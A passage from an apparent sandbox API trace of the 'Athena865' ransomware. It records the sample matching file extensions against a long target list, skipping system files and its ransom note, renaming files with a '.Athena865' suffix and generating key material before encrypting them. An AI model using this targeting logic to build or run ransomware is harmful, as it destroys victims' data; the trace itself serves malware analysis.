lstrcmpiW (lpString1="reg", lpString2="myd") returned 1 [0118.611] lstrlenW (lpString="ndf") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="ndf") returned 1 [0118.611] lstrlenW (lpString="nnt") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="nnt") returned 1 [0118.611] lstrlenW (lpString="nrmlib") returned 6 [0118.611] lstrcmpiW (lpString1="er.reg", lpString2="nrmlib") returned -1 [0118.611] lstrlenW (lpString="ns2") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="ns2") returned 1 [0118.611] lstrlenW (lpString="ns3") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="ns3") returned 1 [0118.611] lstrlenW (lpString="ns4") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="ns4") returned 1 [0118.611] lstrlenW (lpString="nsf") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="nsf") returned 1 [0118.611] lstrlenW (lpString="nv") returned 2 [0118.611] lstrcmpiW (lpString1="eg", lpString2="nv") returned -1 [0118.611] lstrlenW (lpString="nv2") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="nv2") returned 1 [0118.611] lstrlenW (lpString="nwdb") returned 4 [0118.611] lstrcmpiW (lpString1=".reg", lpString2="nwdb") returned -1 [0118.611] lstrlenW (lpString="nyf") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="nyf") returned 1 [0118.611] lstrlenW (lpString="odb") returned 3 [0118.611] lstrcmpiW (lpString1="reg", lpString2="odb") returned 1 [0118.612] lstrlenW (lpString="odb") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="odb") returned 1 [0118.612] lstrlenW (lpString="oqy") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="oqy") returned 1 [0118.612] lstrlenW (lpString="ora") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="ora") returned 1 [0118.612] lstrlenW (lpString="orx") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="orx") returned 1 [0118.612] lstrlenW (lpString="owc") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="owc") returned 1 [0118.612] lstrlenW (lpString="p96") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="p96") returned 1 [0118.612] lstrlenW (lpString="p97") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="p97") returned 1 [0118.612] lstrlenW (lpString="pan") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="pan") returned 1 [0118.612] lstrlenW (lpString="pdb") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="pdb") returned 1 [0118.612] lstrlenW (lpString="pdm") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="pdm") returned 1 [0118.612] lstrlenW (lpString="pnz") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="pnz") returned 1 [0118.612] lstrlenW (lpString="qry") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="qry") returned 1 [0118.612] lstrlenW (lpString="qvd") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="qvd") returned 1 [0118.612] lstrlenW (lpString="rbf") returned 3 [0118.612] lstrcmpiW (lpString1="reg", lpString2="rbf") returned 1 [0118.612] lstrlenW (lpString="rctd") returned 4 [0118.612] lstrcmpiW (lpString1=".reg", lpString2="rctd") returned -1 [0118.613] lstrlenW (lpString="rod") returned 3 [0118.613] lstrcmpiW (lpString1="reg", lpString2="rod") returned -1 [0118.613] lstrlenW (lpString="rodx") returned 4 [0118.613] lstrcmpiW (lpString1=".reg", lpString2="rodx") returned -1 [0118.613] lstrlenW (lpString="rpd") returned 3 [0118.613] lstrcmpiW (lpString1="reg", lpString2="rpd") returned -1 [0118.613] lstrlenW (lpString="rsd") returned 3 [0118.613] lstrcmpiW (lpString1="reg", lpString2="rsd") returned -1 [0118.613] lstrlenW (lpString="sas7bdat") returned 8 [0118.613] lstrcmpiW (lpString1="dler.reg", lpString2="sas7bdat") returned -1 [0118.613] lstrlenW (lpString="sbf") returned 3 [0118.613] lstrcmpiW (lpString1="reg", lpString2="sbf") returned -1 [0118.613] lstrlenW (lpString="scx") returned 3 [0118.613] lstrcmpiW (lpString1="reg", lpString2="scx") returned -1 [0118.613] lstrlenW (lpString="sdb") returned 3 [0118.613] lstrcmpiW (lpString1="reg", lpString2="sdb") returned -1 [0118.613] lstrlenW (lpString="sdc") returned 3 [0118.613] lstrcmpiW (lpString1="reg", lpString2="sdc") returned -1 [0118.613] lstrlenW (lpString="sdf") returned 3 [0118.613] lstrcmpiW (lpString1="reg", lpString2="sdf") returned -1 [0118.613] lstrlenW (lpString="sis") returned 3 [0118.613] lstrcmpiW (lpString1="reg", lpString2="sis") returned -1 [0118.613] lstrlenW (lpString="spq") returned 3 [0118.613] lstrcmpiW (lpString1="reg", lpString2="spq") returned -1 [0118.613] lstrlenW (lpString="te") returned 2 [0118.613] lstrcmpiW (lpString1="eg", lpString2="te") returned -1 [0118.613] lstrlenW (lpString="teacher") returned 7 [0118.613] lstrcmpiW (lpString1="ler.reg", lpString2="teacher") returned -1 [0118.613] lstrlenW (lpString="tmd") returned 3 [0118.613] lstrcmpiW (lpString1="reg", lpString2="tmd") returned -1 [0118.613] lstrlenW (lpString="tps") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="tps") returned -1 [0118.614] lstrlenW (lpString="trc") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="trc") returned -1 [0118.614] lstrlenW (lpString="trc") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="trc") returned -1 [0118.614] lstrlenW (lpString="trm") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="trm") returned -1 [0118.614] lstrlenW (lpString="udb") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="udb") returned -1 [0118.614] lstrlenW (lpString="udl") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="udl") returned -1 [0118.614] lstrlenW (lpString="usr") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="usr") returned -1 [0118.614] lstrlenW (lpString="v12") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="v12") returned -1 [0118.614] lstrlenW (lpString="vis") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="vis") returned -1 [0118.614] lstrlenW (lpString="vpd") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="vpd") returned -1 [0118.614] lstrlenW (lpString="vvv") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="vvv") returned -1 [0118.614] lstrlenW (lpString="wdb") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="wdb") returned -1 [0118.614] lstrlenW (lpString="wmdb") returned 4 [0118.614] lstrcmpiW (lpString1=".reg", lpString2="wmdb") returned -1 [0118.614] lstrlenW (lpString="wrk") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="wrk") returned -1 [0118.614] lstrlenW (lpString="xdb") returned 3 [0118.614] lstrcmpiW (lpString1="reg", lpString2="xdb") returned -1 [0118.614] lstrlenW (lpString="xld") returned 3 [0118.615] lstrcmpiW (lpString1="reg", lpString2="xld") returned -1 [0118.615] lstrlenW (lpString="xmlff") returned 5 [0118.615] lstrcmpiW (lpString1="r.reg", lpString2="xmlff") returned -1 [0118.615] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.Athena865") returned 64 [0118.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg.athena865"), dwFlags=0x1) returned 1 [0118.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.616] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=518) returned 1 [0118.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.616] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.617] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.617] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.617] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.618] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x510, lpName=0x0) returned 0x154 [0118.622] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x510) returned 0x100000 [0118.623] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.623] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.623] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.624] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.624] CloseHandle (hObject=0x154) returned 1 [0118.624] CloseHandle (hObject=0x17c) returned 1 [0118.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.625] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2=".") returned 1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="..") returned 1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="windows") returned -1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="bootmgr") returned 1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="temp") returned -1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="pagefile.sys") returned -1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="boot") returned 1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="ids.txt") returned -1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="ntuser.dat") returned -1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="perflogs") returned -1 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2="MSBuild") returned -1 [0118.625] lstrlenW (lpString="handsafe.reg") returned 12 [0118.625] lstrcpyW (in: lpString1=0x241e89e, lpString2="handsafe.reg" | out: lpString1="handsafe.reg") returned="handsafe.reg" [0118.625] lstrlenW (lpString="handsafe.reg") returned 12 [0118.625] lstrlenW (lpString="Athena865") returned 9 [0118.625] lstrcmpiW (lpString1="dsafe.reg", lpString2="Athena865") returned 1 [0118.625] lstrlenW (lpString=".dll") returned 4 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2=".dll") returned 1 [0118.625] lstrlenW (lpString=".lnk") returned 4 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2=".lnk") returned 1 [0118.625] lstrlenW (lpString=".ini") returned 4 [0118.625] lstrcmpiW (lpString1="handsafe.reg", lpString2=".ini") returned 1 [0118.625] lstrlenW (lpString=".sys") returned 4 [0118.626] lstrcmpiW (lpString1="handsafe.reg", lpString2=".sys") returned 1 [0118.626] lstrlenW (lpString="handsafe.reg") returned 12 [0118.626] lstrlenW (lpString="bak") returned 3 [0118.626] lstrcmpiW (lpString1="reg", lpString2="bak") returned 1 [0118.626] lstrlenW (lpString="ba_") returned 3 [0118.626] lstrcmpiW (lpString1="reg", lpString2="ba_") returned 1 [0118.626] lstrlenW (lpString="dbb") returned 3 [0118.626] lstrcmpiW (lpString1="reg", lpString2="dbb") returned 1 [0118.626] lstrlenW (lpString="vmdk") returned 4 [0118.626] lstrcmpiW (lpString1=".reg", lpString2="vmdk") returned -1 [0118.626] lstrlenW (lpString="rar") returned 3 [0118.626] lstrcmpiW (lpString1="reg", lpString2="rar") returned 1 [0118.626] lstrlenW (lpString="zip") returned 3 [0118.626] lstrcmpiW (lpString1="reg", lpString2="zip") returned -1 [0118.626] lstrlenW (lpString="tgz") returned 3 [0118.626] lstrcmpiW (lpString1="reg", lpString2="tgz") returned -1 [0118.626] lstrlenW (lpString="vbox") returned 4 [0118.626] lstrcmpiW (lpString1=".reg", lpString2="vbox") returned -1 [0118.626] lstrlenW (lpString="vdi") returned 3 [0118.626] lstrcmpiW (lpString1="reg", lpString2="vdi") returned -1 [0118.626] lstrlenW (lpString="vhd") returned 3 [0118.626] lstrcmpiW (lpString1="reg", lpString2="vhd") returned -1 [0118.626] lstrlenW (lpString="vhdx") returned 4 [0118.626] lstrcmpiW (lpString1=".reg", lpString2="vhdx") returned -1 [0118.626] lstrlenW (lpString="avhd") returned 4 [0118.626] lstrcmpiW (lpString1=".reg", lpString2="avhd") returned -1 [0118.626] lstrlenW (lpString="db") returned 2 [0118.626] lstrcmpiW (lpString1="eg", lpString2="db") returned 1 [0118.626] lstrlenW (lpString="db2") returned 3 [0118.626] lstrcmpiW (lpString1="reg", lpString2="db2") returned 1 [0118.626] lstrlenW (lpString="db3") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="db3") returned 1 [0118.627] lstrlenW (lpString="dbf") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="dbf") returned 1 [0118.627] lstrlenW (lpString="mdf") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="mdf") returned 1 [0118.627] lstrlenW (lpString="mdb") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="mdb") returned 1 [0118.627] lstrlenW (lpString="sql") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="sql") returned -1 [0118.627] lstrlenW (lpString="sqlite") returned 6 [0118.627] lstrcmpiW (lpString1="fe.reg", lpString2="sqlite") returned -1 [0118.627] lstrlenW (lpString="sqlite3") returned 7 [0118.627] lstrcmpiW (lpString1="afe.reg", lpString2="sqlite3") returned -1 [0118.627] lstrlenW (lpString="sqlitedb") returned 8 [0118.627] lstrcmpiW (lpString1="safe.reg", lpString2="sqlitedb") returned -1 [0118.627] lstrlenW (lpString="xml") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="xml") returned -1 [0118.627] lstrlenW (lpString="$er") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="$er") returned 1 [0118.627] lstrlenW (lpString="4dd") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="4dd") returned 1 [0118.627] lstrlenW (lpString="4dl") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="4dl") returned 1 [0118.627] lstrlenW (lpString="^^^") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="^^^") returned 1 [0118.627] lstrlenW (lpString="abs") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="abs") returned 1 [0118.627] lstrlenW (lpString="abx") returned 3 [0118.627] lstrcmpiW (lpString1="reg", lpString2="abx") returned 1 [0118.627] lstrlenW (lpString="accdb") returned 5 [0118.627] lstrcmpiW (lpString1="e.reg", lpString2="accdb") returned 1 [0118.628] lstrlenW (lpString="accdc") returned 5 [0118.628] lstrcmpiW (lpString1="e.reg", lpString2="accdc") returned 1 [0118.628] lstrlenW (lpString="accde") returned 5 [0118.628] lstrcmpiW (lpString1="e.reg", lpString2="accde") returned 1 [0118.628] lstrlenW (lpString="accdr") returned 5 [0118.628] lstrcmpiW (lpString1="e.reg", lpString2="accdr") returned 1 [0118.628] lstrlenW (lpString="accdt") returned 5 [0118.628] lstrcmpiW (lpString1="e.reg", lpString2="accdt") returned 1 [0118.628] lstrlenW (lpString="accdw") returned 5 [0118.628] lstrcmpiW (lpString1="e.reg", lpString2="accdw") returned 1 [0118.628] lstrlenW (lpString="accft") returned 5 [0118.628] lstrcmpiW (lpString1="e.reg", lpString2="accft") returned 1 [0118.628] lstrlenW (lpString="adb") returned 3 [0118.628] lstrcmpiW (lpString1="reg", lpString2="adb") returned 1 [0118.628] lstrlenW (lpString="adb") returned 3 [0118.628] lstrcmpiW (lpString1="reg", lpString2="adb") returned 1 [0118.628] lstrlenW (lpString="ade") returned 3 [0118.628] lstrcmpiW (lpString1="reg", lpString2="ade") returned 1 [0118.628] lstrlenW (lpString="adf") returned 3 [0118.628] lstrcmpiW (lpString1="reg", lpString2="adf") returned 1 [0118.628] lstrlenW (lpString="adn") returned 3 [0118.628] lstrcmpiW (lpString1="reg", lpString2="adn") returned 1 [0118.628] lstrlenW (lpString="adp") returned 3 [0118.628] lstrcmpiW (lpString1="reg", lpString2="adp") returned 1 [0118.628] lstrlenW (lpString="alf") returned 3 [0118.628] lstrcmpiW (lpString1="reg", lpString2="alf") returned 1 [0118.628] lstrlenW (lpString="ask") returned 3 [0118.628] lstrcmpiW (lpString1="reg", lpString2="ask") returned 1 [0118.628] lstrlenW (lpString="btr") returned 3 [0118.628] lstrcmpiW (lpString1="reg", lpString2="btr") returned 1 [0118.628] lstrlenW (lpString="cat") returned 3 [0118.629] lstrcmpiW (lpString1="reg", lpString2="cat") returned 1 [0118.629] lstrlenW (lpString="cdb") returned 3 [0118.629] lstrcmpiW (lpString1="reg", lpString2="cdb") returned 1 [0118.629] lstrlenW (lpString="ckp") returned 3 [0118.629] lstrcmpiW (lpString1="reg", lpString2="ckp") returned 1 [0118.629] lstrlenW (lpString="cma") returned 3 [0118.629] lstrcmpiW (lpString1="reg", lpString2="cma") returned 1 [0118.629] lstrlenW (lpString="cpd") returned 3 [0118.629] lstrcmpiW (lpString1="reg", lpString2="cpd") returned 1 [0118.629] lstrlenW (lpString="dacpac") returned 6 [0118.629] lstrcmpiW (lpString1="fe.reg", lpString2="dacpac") returned 1 [0118.629] lstrlenW (lpString="dad") returned 3 [0118.629] lstrcmpiW (lpString1="reg", lpString2="dad") returned 1 [0118.629] lstrlenW (lpString="dadiagrams") returned 10 [0118.629] lstrcmpiW (lpString1="ndsafe.reg", lpString2="dadiagrams") returned 1 [0118.629] lstrlenW (lpString="daschema") returned 8 [0118.629] lstrcmpiW (lpString1="safe.reg", lpString2="daschema") returned 1 [0118.629] lstrlenW (lpString="db-journal") returned 10 [0118.629] lstrcmpiW (lpString1="ndsafe.reg", lpString2="db-journal") returned 1 [0118.629] lstrlenW (lpString="db-shm") returned 6 [0118.629] lstrcmpiW (lpString1="fe.reg", lpString2="db-shm") returned 1 [0118.629] lstrlenW (lpString="db-wal") returned 6 [0118.629] lstrcmpiW (lpString1="fe.reg", lpString2="db-wal") returned 1 [0118.629] lstrlenW (lpString="dbc") returned 3 [0118.629] lstrcmpiW (lpString1="reg", lpString2="dbc") returned 1 [0118.629] lstrlenW (lpString="dbs") returned 3 [0118.629] lstrcmpiW (lpString1="reg", lpString2="dbs") returned 1 [0118.629] lstrlenW (lpString="dbt") returned 3 [0118.629] lstrcmpiW (lpString1="reg", lpString2="dbt") returned 1 [0118.629] lstrlenW (lpString="dbv") returned 3 [0118.629] lstrcmpiW (lpString1="reg", lpString2="dbv") returned 1 [0118.630] lstrlenW (lpString="dbx") returned 3 [0118.630] lstrcmpiW (lpString1="reg", lpString2="dbx") returned 1 [0118.630] lstrlenW (lpString="dcb") returned 3 [0118.630] lstrcmpiW (lpString1="reg", lpString2="dcb") returned 1 [0118.630] lstrcmpiW (lpString1="reg", lpString2="dct") returned 1 [0118.630] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.Athena865") returned 65 [0118.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg.athena865"), dwFlags=0x1) returned 1 [0118.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.632] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=588) returned 1 [0118.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.632] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.633] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.633] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.633] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x550, lpName=0x0) returned 0x154 [0118.634] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x550) returned 0x100000 [0118.635] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.636] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.636] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.636] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.636] CloseHandle (hObject=0x154) returned 1 [0118.637] CloseHandle (hObject=0x17c) returned 1 [0118.637] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.637] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.637] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.637] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce1bed20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce1bed20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0118.637] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0118.637] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2=".") returned 1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="..") returned 1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="windows") returned -1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="bootmgr") returned 1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="temp") returned -1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="pagefile.sys") returned -1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="boot") returned 1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="ids.txt") returned 1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="ntuser.dat") returned -1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="perflogs") returned -1 [0118.637] lstrcmpiW (lpString1="msadce.dll", lpString2="MSBuild") returned -1 [0118.637] lstrlenW (lpString="msadce.dll") returned 10 [0118.637] lstrcpyW (in: lpString1=0x241e89e, lpString2="msadce.dll" | out: 